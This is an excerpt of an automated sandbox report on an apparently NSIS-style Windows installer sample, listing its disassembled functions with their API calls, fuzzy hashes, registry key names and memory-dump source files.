Instruction ID: ba5f555e51aa8b1381cdd2b0d2a1af6e0fef70f9c7cb40d8a5f6f768353cc961
Opcode Fuzzy Hash: afcc572d84cf9765722162092f48605f1f6e2a9c19f2086930970e637c6b8744
Instruction Fuzzy Hash: 30713371E04228CFDF28CFA8C854BADBBB1FB44305F15806AD856BB281C7786986DF45

Function 00406F64 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d487e76e05c5fffd88cdf5b3ac289b2a685634872410f3bf57cf9642bd44b422
Instruction ID: ed69e48f2b9f224f5de76fa38221f26f69075a156c73166e2e17eecf637d197c
Opcode Fuzzy Hash: d487e76e05c5fffd88cdf5b3ac289b2a685634872410f3bf57cf9642bd44b422
Instruction Fuzzy Hash: B1714671E04228CFDF28CF98C854BADBBB1FB44305F15806AD856B7281C7786946DF45

Function 00403411 Relevance: 4.6, APIs: 3, Instructions: 101COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403425

Part of subcall function 00403590: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040328E,?), ref: 0040359E

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,0040333B,00000004,00000000,00000000,?,?,004032B5,000000FF,00000000,00000000,0040A230,?), ref: 00403458
SetFilePointer.KERNELBASE(00003475,00000000,00000000,00414EF0,00004000,?,00000000,0040333B,00000004,00000000,00000000,?,?,004032B5,000000FF,00000000), ref: 00403553

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: FilePointer$CountTick
String ID:
API String ID: 1092082344-0
Opcode ID: 9518b2dd1af65febbd9d180445f0764cbeb29eb017de111e17892d6d002d9159
Instruction ID: 897ba5cc79bc3f0d18eddf3670deff7b1eb1d467b83339ddcdcbfe179e357187
Opcode Fuzzy Hash: 9518b2dd1af65febbd9d180445f0764cbeb29eb017de111e17892d6d002d9159
Instruction Fuzzy Hash: D3317CB2604205EBCB20DF39FE848263BA9B744395755023BE900B32F1C7B99D45DB9D

Function 004022F7 Relevance: 4.6, APIs: 3, Instructions: 51stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040689A: FindFirstFileW.KERNELBASE(74DF3420,00426798,00425F50,00405F62,00425F50,00425F50,00000000,00425F50,00425F50,74DF3420,?,74DF2EE0,00405C6E,?,74DF3420,74DF2EE0), ref: 004068A5
Part of subcall function 0040689A: FindClose.KERNEL32(00000000), ref: 004068B1

lstrlenW.KERNEL32 ref: 00402337
lstrlenW.KERNEL32(00000000), ref: 00402342
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 0040236B

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: FileFindlstrlen$CloseFirstOperation
String ID:
API String ID: 1486964399-0
Opcode ID: b9677e785c8fed442c1958be79b35b6ef8f35a3833a811a04449e3457438a297
Instruction ID: 4d293297d37f642e50e334be784923d4dbf5a3b79a36c56dc06a2ee29788e7cf
Opcode Fuzzy Hash: b9677e785c8fed442c1958be79b35b6ef8f35a3833a811a04449e3457438a297
Instruction Fuzzy Hash: 31113071910318A6CB10EFB9CE4999EB7B9FF14314F10443FA915FB2D1D6BC89418B69

Function 00402596 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004025C9
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 004025DC
RegCloseKey.KERNELBASE(?,?,?,Forkynders\baskets\acylate,00000000,00000011,00000002), ref: 004025F5

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 663f7e8e5c712848929ff74e32a755a78d6f60c30a625dafa6b1b9bb8ddf2858
Instruction ID: 6eea7ab82af3d2392c4b6f989cbcf8a15a9c336fd28670f1f8a7e461480f06f5
Opcode Fuzzy Hash: 663f7e8e5c712848929ff74e32a755a78d6f60c30a625dafa6b1b9bb8ddf2858
Instruction Fuzzy Hash: 88017C71A11604BBEB149FA49E48AAEB77CEF40348F10403AF901B61C0D7B85E40866D

Function 00403B19 Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,C:\Users\user\AppData\Local\Temp\,0040394C,00000007,?,00000007,00000009,0000000B), ref: 00403B2B
CloseHandle.KERNEL32(FFFFFFFF,C:\Users\user\AppData\Local\Temp\,0040394C,00000007,?,00000007,00000009,0000000B), ref: 00403B3F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403B1E

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2962429428-3081826266
Opcode ID: f038386b1086bb30888fe0ccdba35b42973a9f6d5176726927d32f5153013f8e
Instruction ID: f4960ab97bc4c8a2d82e21847187181e2840903b19b2aeb21d370a46e1c92408
Opcode Fuzzy Hash: f038386b1086bb30888fe0ccdba35b42973a9f6d5176726927d32f5153013f8e
Instruction Fuzzy Hash: 49E0863144471496C1346F7CAE49D853B285B4133A7204326F178F20F1C738A9574E9D

Function 00403309 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,004032B5,000000FF,00000000,00000000,0040A230,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: a028361fc9e97e52d64351f184ba52d3dd7daec5df95744dc32eca756b6c47e1
Instruction ID: fc1c1b99c1c3d1c2481461a51282f6204a9bfe71311cf5a9819f6edaa66b9ece
Opcode Fuzzy Hash: a028361fc9e97e52d64351f184ba52d3dd7daec5df95744dc32eca756b6c47e1
Instruction Fuzzy Hash: C6319F70200219EFDB11CF55ED84A9E3FA8FB00355B20443AF905EA1D1D778DE51DBA9

Function 00402522 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,00000033), ref: 00402553
RegCloseKey.KERNELBASE(?,?,?,Forkynders\baskets\acylate,00000000,00000011,00000002), ref: 004025F5

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 0f245c043c1ac6dd2eee62d287729c30ac42d50cb898836ac0950eb2d6fed6d9
Instruction ID: f0d649c8be7bcd6d72a7f6236f3e083c4832147513a68f4e0a15fa01edc77ece
Opcode Fuzzy Hash: 0f245c043c1ac6dd2eee62d287729c30ac42d50cb898836ac0950eb2d6fed6d9
Instruction Fuzzy Hash: A4113A71A10209EBDF14DFA4DA589AEB774FF04354B20843BE806B62D0D7B88A45DB5E

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: d662c2adc7386def8032e0caa440f6f516c0d103e2adf936855243d12f81b3d3
Instruction ID: 2e9f13adc1e302feb6e44b0cfdad9a37d499f26753b45a494d358932ab564816
Opcode Fuzzy Hash: d662c2adc7386def8032e0caa440f6f516c0d103e2adf936855243d12f81b3d3
Instruction Fuzzy Hash: 2501F431724220EBEB295B389D05B6A3698E710314F10857FF855F66F1E678CC029B6D

Function 0040242C Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040244E
RegCloseKey.ADVAPI32(00000000), ref: 00402457

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: 6c4ac5f552494e277442b68f231966bc4883ed08a379c2a92b2b125d0484959a
Instruction ID: 0eea939cfefa250e45086769c78755c0b3bfdf1c9c70056638625836d9ad0d91
Opcode Fuzzy Hash: 6c4ac5f552494e277442b68f231966bc4883ed08a379c2a92b2b125d0484959a
Instruction Fuzzy Hash: FFF06232A00120ABDB10AFA89A4DAAE73A5AF44314F12443FE651B71C1DAFC5D01563E

Function 00405677 Relevance: 3.0, APIs: 2, Instructions: 32comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405687

Part of subcall function 004044DE: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004044F0

CoUninitialize.COMBASE(00000404,00000000), ref: 004056D3

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: InitializeMessageSendUninitialize
String ID:
API String ID: 2896919175-0
Opcode ID: f19b0f2b61e7f4c06593e02124d9898e7b6166ce1a012b3c4f9efcba27a6f207
Instruction ID: 82e1c39a18d35503deea9f0fbed0a799e98f034f8ad8166c80355f15d1698ca4
Opcode Fuzzy Hash: f19b0f2b61e7f4c06593e02124d9898e7b6166ce1a012b3c4f9efcba27a6f207
Instruction Fuzzy Hash: 8BF02472600A00ABE3115750AC01B2377A4EB80300F94483BEE88B22F1C77648228B6E

Function 00401573 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 00401587
ShowWindow.USER32(?), ref: 0040159C

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: acc70c6f29d20ec2e0522a8a59fc4d0c048a143266ea016b0e5a54e905789e50
Instruction ID: 68d2f30391901d1d9ba62db1430854f87f0e26d751f15bb82e1089b222079e22
Opcode Fuzzy Hash: acc70c6f29d20ec2e0522a8a59fc4d0c048a143266ea016b0e5a54e905789e50
Instruction Fuzzy Hash: 2AE0BF76B20114ABCB14DFA8ED9086E77B5EB54310760487AE902B3290C675AC11CB78

Function 00406931 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,0040364A,0000000B), ref: 00406943
GetProcAddress.KERNEL32(00000000,?), ref: 0040695E

Part of subcall function 004068C1: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068D8
Part of subcall function 004068C1: wsprintfW.USER32 ref: 00406913
Part of subcall function 004068C1: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406927

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: a89557e88259ac32882439a66efe2bded2b7fe37332f597cb2162f61758b0433
